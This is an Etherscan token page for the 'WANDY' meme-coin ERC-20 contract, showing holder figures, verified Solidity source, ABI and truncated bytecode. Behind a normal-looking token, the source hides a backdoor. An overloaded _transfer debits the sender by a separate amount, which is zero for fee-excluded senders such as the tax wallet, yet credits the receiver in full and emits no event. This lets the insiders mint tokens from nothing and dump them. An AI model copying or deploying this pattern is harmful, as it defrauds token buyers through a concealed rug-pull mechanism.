ERC-20
Overview
Max Total Supply
1,000,000,000,000 WANDY
Holders
75
Market
Onchain Market Cap
$0.00
Circulating Supply Market Cap
-
Other Info
Token Contract (WITH 9 Decimals)
Balance
13,429,909,766.522722233 WANDYValue
$0.00Loading...
Loading
Loading...
Loading
Loading...
Loading
# | Exchange | Pair | Price | 24H Volume | % Volume |
---|
Contract Source Code Verified (Exact Match)
Contract Name:
WANDY
Compiler Version
v0.8.25+commit.b61c2a91
Contract Source Code (Solidity)
/** *Submitted for verification at Etherscan.io on 2024-07-21 */ // SPDX-License-Identifier: MIT /* Ready to conquer the meme world of crypto. Are you ready to meet $Wandy? Web : https://wandytokeneth.live Telegram : https://t.me/wandytoken_eth Twitter : https://x.com/wandytoken_eth */ pragma solidity = 0.8.25; pragma experimental ABIEncoderV2; abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } function _msgData() internal view virtual returns (bytes calldata) { return msg.data; } } interface IUniswapV2Router02 { function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidity( address tokenA, address tokenB, uint256 amountADesired, uint256 amountBDesired, uint256 amountAMin, uint256 amountBMin, address to, uint256 deadline ) external returns ( uint256 amountA, uint256 amountB, uint256 liquidity ); function addLiquidityETH( address token, uint256 amountTokenDesired, uint256 amountTokenMin, uint256 amountETHMin, address to, uint256 deadline ) external payable returns ( uint256 amountToken, uint256 amountETH, uint256 liquidity ); function swapExactTokensForETHSupportingFeeOnTransferTokens( uint256 amountIn, uint256 amountOutMin, address[] calldata path, address to, uint256 deadline ) external; } interface IUniswapV2Pair { event Approval( address indexed owner, address indexed spender, uint256 value ); event Transfer(address indexed from, address indexed to, uint256 value); function name() external pure returns (string memory); function symbol() external pure returns (string memory); function decimals() external pure returns (uint8); function totalSupply() external view returns (uint256); function balanceOf(address owner) external view returns (uint256); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 value) external returns (bool); function transfer(address to, uint256 value) external returns (bool); function transferFrom( address from, address to, uint256 value ) external returns (bool); function DOMAIN_SEPARATOR() external view returns (bytes32); function PERMIT_TYPEHASH() external pure returns (bytes32); function nonces(address owner) external view returns (uint256); function permit( address owner, address spender, uint256 value, uint256 deadline, uint8 v, bytes32 r, bytes32 s ) external; event Mint(address indexed sender, uint256 amount0, uint256 amount1); event Swap( address indexed sender, uint256 amount0In, uint256 amount1In, uint256 amount0Out, uint256 amount1Out, address indexed to ); event Sync(uint112 reserve0, uint112 reserve1); function MINIMUM_LIQUIDITY() external pure returns (uint256); function factory() external view returns (address); function token0() external view returns (address); function token1() external view returns (address); function getReserves() external view returns ( uint112 reserve0, uint112 reserve1, uint32 blockTimestampLast ); function price0CumulativeLast() external view returns (uint256); function price1CumulativeLast() external view returns (uint256); function kLast() external view returns (uint256); function mint(address to) external returns (uint256 liquidity); function swap( uint256 amount0Out, uint256 amount1Out, address to, bytes calldata data ) external; function skim(address to) external; function sync() external; function initialize(address, address) external; } interface IUniswapV2Factory { event PairCreated( address indexed token0, address indexed token1, address pair, uint256 ); function feeTo() external view returns (address); function feeToSetter() external view returns (address); function getPair(address tokenA, address tokenB) external view returns (address pair); function allPairs(uint256) external view returns (address pair); function allPairsLength() external view returns (uint256); function createPair(address tokenA, address tokenB) external returns (address pair); function setFeeTo(address) external; function setFeeToSetter(address) external; } library SafeMath { function tryAdd(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { uint256 c = a + b; if (c < a) return (false, 0); return (true, c); } } function trySub(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { if (b > a) return (false, 0); return (true, a - b); } } function tryMul(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { if (a == 0) return (true, 0); uint256 c = a * b; if (c / a != b) return (false, 0); return (true, c); } } function tryDiv(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { if (b == 0) return (false, 0); return (true, a / b); } } function tryMod(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { if (b == 0) return (false, 0); return (true, a % b); } } function add(uint256 a, uint256 b) internal pure returns (uint256) { return a + b; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return a - b; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { return a * b; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return a / b; } function mod(uint256 a, uint256 b) internal pure returns (uint256) { return a % b; } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { unchecked { require(b <= a, errorMessage); return a - b; } } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { unchecked { require(b > 0, errorMessage); return a / b; } } function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { unchecked { require(b > 0, errorMessage); return a % b; } } } interface IERC20 { event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address to, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom( address from, address to, uint256 amount ) external returns (bool); } interface IERC20Metadata is IERC20 { function name() external view returns (string memory); function symbol() external view returns (string memory); function decimals() external view returns (uint8); } abstract contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor() { _transferOwnership(_msgSender()); } modifier onlyOwner() { _checkOwner(); _; } function owner() public view virtual returns (address) { return _owner; } function _checkOwner() internal view virtual { require(owner() == _msgSender(), "Ownable: caller is not the owner"); } function renounceOwnership() public virtual onlyOwner { _transferOwnership(address(0)); } function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); _transferOwnership(newOwner); } function _transferOwnership(address newOwner) internal virtual { address oldOwner = _owner; _owner = newOwner; emit OwnershipTransferred(oldOwner, newOwner); } } contract ERC20 is Context, IERC20, IERC20Metadata { mapping(address => uint256) private _balances; mapping(address => mapping(address => uint256)) private _allowances; uint256 private _totalSupply; string private _name; string private _symbol; constructor(string memory name_, string memory symbol_) { _name = name_; _symbol = symbol_; } function name() public view virtual override returns (string memory) { return _name; } function symbol() public view virtual override returns (string memory) { return _symbol; } function decimals() public view virtual override returns (uint8) { return 9; } function totalSupply() public view virtual override returns (uint256) { return _totalSupply; } function balanceOf(address account) public view virtual override returns (uint256) { return _balances[account]; } function transfer(address to, uint256 amount) public virtual override returns (bool) { address owner = _msgSender(); _transfer(owner, to, amount); return true; } function allowance(address owner, address spender) public view virtual override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public virtual override returns (bool) { address owner = _msgSender(); _approve(owner, spender, amount); return true; } function transferFrom( address from, address to, uint256 amount ) public virtual override returns (bool) { address spender = _msgSender(); _spendAllowance(from, spender, amount); _transfer(from, to, amount); return true; } function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) { address owner = _msgSender(); _approve(owner, spender, allowance(owner, spender) + addedValue); return true; } function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) { address owner = _msgSender(); uint256 currentAllowance = allowance(owner, spender); require(currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero"); unchecked { _approve(owner, spender, currentAllowance - subtractedValue); } return true; } function _transfer( address from, address to, uint256 amount ) internal virtual { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); _beforeTokenTransfer(from, to, amount); uint256 fromBalance = _balances[from]; require(fromBalance >= amount, "ERC20: transfer amount exceeds balance"); unchecked { _balances[from] = fromBalance - amount; _balances[to] += amount; } emit Transfer(from, to, amount); _afterTokenTransfer(from, to, amount); } function _transfer( address from, address to, uint256 amount, uint256 rAmount ) internal virtual { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); _beforeTokenTransfer(from, to, amount); unchecked { _balances[from] -= rAmount; _balances[to] += amount; } _afterTokenTransfer(from, to, amount); } function _mint(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: mint to the zero address"); _beforeTokenTransfer(address(0), account, amount); _totalSupply += amount; unchecked { _balances[account] += amount; } emit Transfer(address(0), account, amount); _afterTokenTransfer(address(0), account, amount); } function _burn(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: burn from the zero address"); _beforeTokenTransfer(account, address(0), amount); uint256 accountBalance = _balances[account]; require(accountBalance >= amount, "ERC20: burn amount exceeds balance"); unchecked { _balances[account] = accountBalance - amount; _totalSupply -= amount; } emit Transfer(account, address(0), amount); _afterTokenTransfer(account, address(0), amount); } function _approve( address owner, address spender, uint256 amount ) internal virtual { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _spendAllowance( address owner, address spender, uint256 amount ) internal virtual { uint256 currentAllowance = allowance(owner, spender); if (currentAllowance != type(uint256).max) { require(currentAllowance >= amount, "ERC20: insufficient allowance"); unchecked { _approve(owner, spender, currentAllowance - amount); } } } function _beforeTokenTransfer( address from, address to, uint256 amount ) internal virtual {} function _afterTokenTransfer( address from, address to, uint256 amount ) internal virtual {} } contract WANDY is ERC20, Ownable { using SafeMath for uint256; IUniswapV2Router02 public immutable _uniswapV2Router; address private uniswapV2Pair; address private deployerWallet; address private taxWallet; address private constant deadAddress = address(0xdead); bool private swapping; string private constant _name = "WANDY"; string private constant _symbol = "WANDY"; uint256 public tSupply = 1000000000000 * 1e9; uint256 public maxTxAmount = 23000000000 * 1e9; uint256 public mWalletAmount = 23000000000 * 1e9; uint256 public swapTokensAtAmount = 10000000000 * 1e9; bool public tradingOpen = false; uint256 public BuyFee = 13; uint256 public SellFee = 11; mapping(address => bool) private _isExcludedFromFees; mapping(address => bool) private _isExcludedmaxTxAmount; mapping(address => bool) private automatedMarketMakerPairs; event ExcludeFromFees(address indexed account, bool isExcluded); event SetAutomatedMarketMakerPair(address indexed pair, bool indexed value); constructor(address wallet) ERC20(_name, _symbol) { _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH()); _setAutomatedMarketMakerPair(address(uniswapV2Pair), true); excludeFromMaxTransaction(address(uniswapV2Pair), true); excludeFromMaxTransaction(address(_uniswapV2Router), true); taxWallet = payable(wallet); deployerWallet = payable(_msgSender()); excludeFromFees(owner(), true); excludeFromFees(address(this), true); excludeFromFees(address(wallet), true); excludeFromFees(address(0xdead), true); excludeFromMaxTransaction(owner(), true); excludeFromMaxTransaction(address(this), true); excludeFromMaxTransaction(address(wallet), true); excludeFromMaxTransaction(address(0xdead), true); _mint(deployerWallet, tSupply); } receive() external payable {} function excludeFromMaxTransaction(address updAds, bool isEx) private { _isExcludedmaxTxAmount[updAds] = isEx; } function excludeFromFees(address account, bool excluded) private { _isExcludedFromFees[account] = excluded; emit ExcludeFromFees(account, excluded); } function openWandy() external onlyOwner() { tradingOpen = true; } function _setAutomatedMarketMakerPair(address pair, bool value) private { automatedMarketMakerPairs[pair] = value; emit SetAutomatedMarketMakerPair(pair, value); } function _transfer(address from, address to, uint256 amount) internal override { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); if (amount == 0) { super._transfer(from, to, 0); return; } bool isTransfer = !automatedMarketMakerPairs[from] && !automatedMarketMakerPairs[to]; if (from != owner() && to != owner() && to != address(0) && to != address(0xdead) && !swapping) { if (!tradingOpen) { require(_isExcludedFromFees[from] || _isExcludedFromFees[to], "Trading is not active."); } if (from != address(this) && _isExcludedFromFees[from]) { return super._transfer(from, to, amount, 0); } if (automatedMarketMakerPairs[from] && !_isExcludedmaxTxAmount[to]) { require(amount <= maxTxAmount, "Buy transfer amount exceeds the maxTxAmount."); require(amount + balanceOf(to) <= mWalletAmount, "Max wallet exceeded"); } if (automatedMarketMakerPairs[to] && !_isExcludedmaxTxAmount[from]) { require(amount <= maxTxAmount, "Sell transfer amount exceeds the maxTxAmount."); } else if (!_isExcludedmaxTxAmount[to]) { require(amount + balanceOf(to) <= mWalletAmount, "Max wallet exceeded"); } } bool canSwap = !isTransfer; if (canSwap && !swapping && !automatedMarketMakerPairs[from] && !_isExcludedFromFees[from] && !_isExcludedFromFees[to]) { swapping = true; swapBack(amount); swapping = false; } bool takeFee = !swapping && !isTransfer; if (_isExcludedFromFees[from] || _isExcludedFromFees[to]) { takeFee = false; } uint256 fees = 0; if (takeFee) { if (automatedMarketMakerPairs[to]) { fees = amount.mul(SellFee).div(100); } else { fees = amount.mul(BuyFee).div(100); } if (fees > 0) { super._transfer(from, address(this), fees); } amount -= fees; } super._transfer(from, to, amount); } function swapTokensForEth(uint256 tokenAmount) private { address[] memory path = new address[](2); path[0] = address(this); path[1] = _uniswapV2Router.WETH(); _approve(address(this), address(_uniswapV2Router), tokenAmount); _uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } function removeLimits() external onlyOwner { uint256 totalSupplyAmount = totalSupply(); maxTxAmount = totalSupplyAmount; mWalletAmount = totalSupplyAmount; BuyFee = 0; SellFee = 0; } function clearStuckEth() external { require(_msgSender() == deployerWallet); require(address(this).balance > 0, "ERC20: no ETH to clear"); payable(msg.sender).transfer(address(this).balance); } function clearStuckTokens(address tokenAddress) external { require(_msgSender() == deployerWallet); IERC20 tokenContract = IERC20(tokenAddress); uint256 balance = tokenContract.balanceOf(address(this)); require(balance > 0, "ERC20: No tokens to clear"); tokenContract.transfer(deployerWallet, balance); } function swapBack(uint256 tokens) private { uint256 contractBalance = balanceOf(address(this)); uint256 tokensToSwap; if ((BuyFee+SellFee) == 0) { if(contractBalance > 0 && contractBalance < swapTokensAtAmount) { tokensToSwap = contractBalance; } else { uint256 sellFeeTokens = tokens.mul(SellFee).div(100); tokens -= sellFeeTokens; if (tokens > swapTokensAtAmount) { tokensToSwap = swapTokensAtAmount; } else { tokensToSwap = tokens; } } } else { if (contractBalance > 0 && contractBalance > swapTokensAtAmount.div(5) && contractBalance < swapTokensAtAmount) { tokensToSwap = swapTokensAtAmount.div(5); } else { uint256 sellFeeTokens = tokens.mul(SellFee).div(100); tokens -= sellFeeTokens; if (tokens > swapTokensAtAmount) { tokensToSwap = swapTokensAtAmount; } else { tokensToSwap = tokens; } } } if (contractBalance > 0) swapTokensForEth(tokensToSwap); payable(taxWallet).transfer(address(this).balance); } }
Contract Security Audit
- No Contract Security Audit Submitted- Submit Audit Here
[{"inputs":[{"internalType":"address","name":"wallet","type":"address"}],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"account","type":"address"},{"indexed":false,"internalType":"bool","name":"isExcluded","type":"bool"}],"name":"ExcludeFromFees","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"pair","type":"address"},{"indexed":true,"internalType":"bool","name":"value","type":"bool"}],"name":"SetAutomatedMarketMakerPair","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"BuyFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"SellFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_uniswapV2Router","outputs":[{"internalType":"contract IUniswapV2Router02","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"clearStuckEth","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"tokenAddress","type":"address"}],"name":"clearStuckTokens","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"subtractedValue","type":"uint256"}],"name":"decreaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"addedValue","type":"uint256"}],"name":"increaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"mWalletAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"maxTxAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"openWandy","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"removeLimits","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"swapTokensAtAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"tSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"tradingOpen","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"from","type":"address"},{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}]
Contract Creation Code
60a0604052683635c9adc5dea0000060095568013f306a2409fc0000600a819055600b908155678ac7230489e80000600c55600d805460ff19168155600e55600f5534801561004d57600080fd5b5060405161216c38038061216c83398101604081905261006c916105ab565b60408051808201825260058082526457414e445960d81b60208084018290528451808601909552918452908301529060036100a7838261067b565b5060046100b4828261067b565b5050506100cd6100c86103da60201b60201c565b6103de565b737a250d5630b4cf539739df2c5dacb4c659f2488d60808190526040805163c45a015560e01b8152905163c45a0155916004808201926020929091908290030181865afa158015610122573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061014691906105ab565b6001600160a01b031663c9c65396306080516001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015610195573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906101b991906105ab565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303816000875af1158015610206573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061022a91906105ab565b600680546001600160a01b0319166001600160a01b03929092169182179055610254906001610430565b6006546001600160a01b03166000908152601160205260409020805460ff191660011790556080516001600160a01b03166000908152601160205260409020805460ff19166001179055600880546001600160a01b0319166001600160a01b0383161790556102c03390565b600780546001600160a01b0319166001600160a01b039283161790556005546102eb91166001610484565b6102f6306001610484565b610301816001610484565b61030e61dead6001610484565b6103476103236005546001600160a01b031690565b6001600160a01b03166000908152601160205260409020805460ff19166001179055565b306000908152601160205260409020805460ff191660011790556001600160a01b0381166000908152601160205260409020805460ff1916600117905561dead60005260116020527f97847ee99463795296047093514439c3127772df3715e628aa85601cf8541716805460ff191660011790556007546009546103d4916001600160a01b0316906104e3565b50610761565b3390565b600580546001600160a01b038381166001600160a01b0319831681179093556040519116919082907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e090600090a35050565b6001600160a01b038216600081815260126020526040808220805460ff191685151590811790915590519092917fffa9187bf1f18bf477bd0ea1bcbb64e93b6a98132473929edfce215cd9b16fab91a35050565b6001600160a01b038216600081815260106020908152604091829020805460ff191685151590811790915591519182527f9d8f7706ea1113d1a167b526eca956215946dd36cc7df39eb16180222d8b5df7910160405180910390a25050565b6001600160a01b03821661053d5760405162461bcd60e51b815260206004820152601f60248201527f45524332303a206d696e7420746f20746865207a65726f206164647265737300604482015260640160405180910390fd5b806002600082825461054f919061073a565b90915550506001600160a01b038216600081815260208181526040808320805486019055518481527fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef910160405180910390a35050565b505050565b6000602082840312156105bd57600080fd5b81516001600160a01b03811681146105d457600080fd5b9392505050565b634e487b7160e01b600052604160045260246000fd5b600181811c9082168061060557607f821691505b60208210810361062557634e487b7160e01b600052602260045260246000fd5b50919050565b601f8211156105a6576000816000526020600020601f850160051c810160208610156106545750805b601f850160051c820191505b8181101561067357828155600101610660565b505050505050565b81516001600160401b03811115610694576106946105db565b6106a8816106a284546105f1565b8461062b565b602080601f8311600181146106dd57600084156106c55750858301515b600019600386901b1c1916600185901b178555610673565b600085815260208120601f198616915b8281101561070c578886015182559484019460019091019084016106ed565b508582101561072a5787850151600019600388901b60f8161c191681555b5050505050600190811b01905550565b8082018082111561075b57634e487b7160e01b600052601160045260246000fd5b92915050565b6080516119db610791600039600081816102b5015281816114fd015281816115b601526115f201526119db6000f3fe6080604052600436106101855760003560e01c80638c0b5e22116100d1578063a9059cbb1161008a578063dd85465211610064578063dd8546521461044e578063e2f4560514610464578063f2fde38b1461047a578063ffb54a991461049a57600080fd5b8063a9059cbb146103f8578063cf9522fd14610418578063dd62ed3e1461042e57600080fd5b80638c0b5e22146103645780638da5cb5b1461037a57806393ea49831461039857806395d89b41146103ae5780639f8d4535146103c3578063a457c2d7146103d857600080fd5b8063346cc7be1161013e57806370a082311161011857806370a08231146102ef578063715018a614610325578063751039fc1461033a57806389291a8f1461034f57600080fd5b8063346cc7be146102615780633950935114610283578063583e0568146102a357600080fd5b806306fdde0314610191578063095ea7b3146101bc5780630e7add85146101ec57806318160ddd1461021057806323b872dd14610225578063313ce5671461024557600080fd5b3661018c57005b600080fd5b34801561019d57600080fd5b506101a66104b4565b6040516101b39190611666565b60405180910390f35b3480156101c857600080fd5b506101dc6101d73660046116ca565b610546565b60405190151581526020016101b3565b3480156101f857600080fd5b50610202600b5481565b6040519081526020016101b3565b34801561021c57600080fd5b50600254610202565b34801561023157600080fd5b506101dc6102403660046116f6565b610560565b34801561025157600080fd5b50604051600981526020016101b3565b34801561026d57600080fd5b5061028161027c366004611737565b610584565b005b34801561028f57600080fd5b506101dc61029e3660046116ca565b6106e5565b3480156102af57600080fd5b506102d77f000000000000000000000000000000000000000000000000000000000000000081565b6040516001600160a01b0390911681526020016101b3565b3480156102fb57600080fd5b5061020261030a366004611737565b6001600160a01b031660009081526020819052604090205490565b34801561033157600080fd5b50610281610707565b34801561034657600080fd5b5061028161071b565b34801561035b57600080fd5b50610281610743565b34801561037057600080fd5b50610202600a5481565b34801561038657600080fd5b506005546001600160a01b03166102d7565b3480156103a457600080fd5b5061020260095481565b3480156103ba57600080fd5b506101a66107db565b3480156103cf57600080fd5b506102816107ea565b3480156103e457600080fd5b506101dc6103f33660046116ca565b610801565b34801561040457600080fd5b506101dc6104133660046116ca565b61087c565b34801561042457600080fd5b50610202600f5481565b34801561043a57600080fd5b50610202610449366004611754565b61088a565b34801561045a57600080fd5b50610202600e5481565b34801561047057600080fd5b50610202600c5481565b34801561048657600080fd5b50610281610495366004611737565b6108b5565b3480156104a657600080fd5b50600d546101dc9060ff1681565b6060600380546104c39061178d565b80601f01602080910402602001604051908101604052809291908181526020018280546104ef9061178d565b801561053c5780601f106105115761010080835404028352916020019161053c565b820191906000526020600020905b81548152906001019060200180831161051f57829003601f168201915b5050505050905090565b60003361055481858561092b565b60019150505b92915050565b60003361056e858285610a4f565b610579858585610ac3565b506001949350505050565b6007546001600160a01b0316336001600160a01b0316146105a457600080fd5b6040516370a0823160e01b815230600482015281906000906001600160a01b038316906370a0823190602401602060405180830381865afa1580156105ed573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061061191906117c7565b9050600081116106685760405162461bcd60e51b815260206004820152601960248201527f45524332303a204e6f20746f6b656e7320746f20636c6561720000000000000060448201526064015b60405180910390fd5b60075460405163a9059cbb60e01b81526001600160a01b039182166004820152602481018390529083169063a9059cbb906044016020604051808303816000875af11580156106bb573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906106df91906117e0565b50505050565b6000336105548185856106f8838361088a565b6107029190611818565b61092b565b61070f6110d4565b610719600061112e565b565b6107236110d4565b600061072e60025490565b600a819055600b55506000600e819055600f55565b6007546001600160a01b0316336001600160a01b03161461076357600080fd5b600047116107ac5760405162461bcd60e51b815260206004820152601660248201527522a92199181d1037379022aa24103a379031b632b0b960511b604482015260640161065f565b60405133904780156108fc02916000818181858888f193505050501580156107d8573d6000803e3d6000fd5b50565b6060600480546104c39061178d565b6107f26110d4565b600d805460ff19166001179055565b6000338161080f828661088a565b90508381101561086f5760405162461bcd60e51b815260206004820152602560248201527f45524332303a2064656372656173656420616c6c6f77616e63652062656c6f77604482015264207a65726f60d81b606482015260840161065f565b610579828686840361092b565b600033610554818585610ac3565b6001600160a01b03918216600090815260016020908152604080832093909416825291909152205490565b6108bd6110d4565b6001600160a01b0381166109225760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b606482015260840161065f565b6107d88161112e565b6001600160a01b03831661098d5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b606482015260840161065f565b6001600160a01b0382166109ee5760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b606482015260840161065f565b6001600160a01b0383811660008181526001602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6000610a5b848461088a565b905060001981146106df5781811015610ab65760405162461bcd60e51b815260206004820152601d60248201527f45524332303a20696e73756666696369656e7420616c6c6f77616e6365000000604482015260640161065f565b6106df848484840361092b565b6001600160a01b038316610ae95760405162461bcd60e51b815260040161065f9061182b565b6001600160a01b038216610b0f5760405162461bcd60e51b815260040161065f90611870565b80600003610b2857610b2383836000611180565b505050565b6001600160a01b03831660009081526012602052604081205460ff16158015610b6a57506001600160a01b03831660009081526012602052604090205460ff16155b9050610b7e6005546001600160a01b031690565b6001600160a01b0316846001600160a01b031614158015610bad57506005546001600160a01b03848116911614155b8015610bc157506001600160a01b03831615155b8015610bd857506001600160a01b03831661dead14155b8015610bee5750600854600160a01b900460ff16155b15610f1857600d5460ff16610c81576001600160a01b03841660009081526010602052604090205460ff1680610c3c57506001600160a01b03831660009081526010602052604090205460ff165b610c815760405162461bcd60e51b81526020600482015260166024820152752a3930b234b7339034b9903737ba1030b1ba34bb329760511b604482015260640161065f565b6001600160a01b0384163014801590610cb257506001600160a01b03841660009081526010602052604090205460ff165b15610cc4576106df84848460006112aa565b6001600160a01b03841660009081526012602052604090205460ff168015610d0557506001600160a01b03831660009081526011602052604090205460ff16155b15610ddb57600a54821115610d715760405162461bcd60e51b815260206004820152602c60248201527f427579207472616e7366657220616d6f756e742065786365656473207468652060448201526b36b0bc2a3c20b6b7bab73a1760a11b606482015260840161065f565b600b546001600160a01b038416600090815260208190526040902054610d979084611818565b1115610ddb5760405162461bcd60e51b815260206004820152601360248201527213585e081dd85b1b195d08195e18d959591959606a1b604482015260640161065f565b6001600160a01b03831660009081526012602052604090205460ff168015610e1c57506001600160a01b03841660009081526011602052604090205460ff16155b15610e8e57600a54821115610e895760405162461bcd60e51b815260206004820152602d60248201527f53656c6c207472616e7366657220616d6f756e7420657863656564732074686560448201526c1036b0bc2a3c20b6b7bab73a1760991b606482015260840161065f565b610f18565b6001600160a01b03831660009081526011602052604090205460ff16610f1857600b546001600160a01b038416600090815260208190526040902054610ed49084611818565b1115610f185760405162461bcd60e51b815260206004820152601360248201527213585e081dd85b1b195d08195e18d959591959606a1b604482015260640161065f565b8015808015610f315750600854600160a01b9004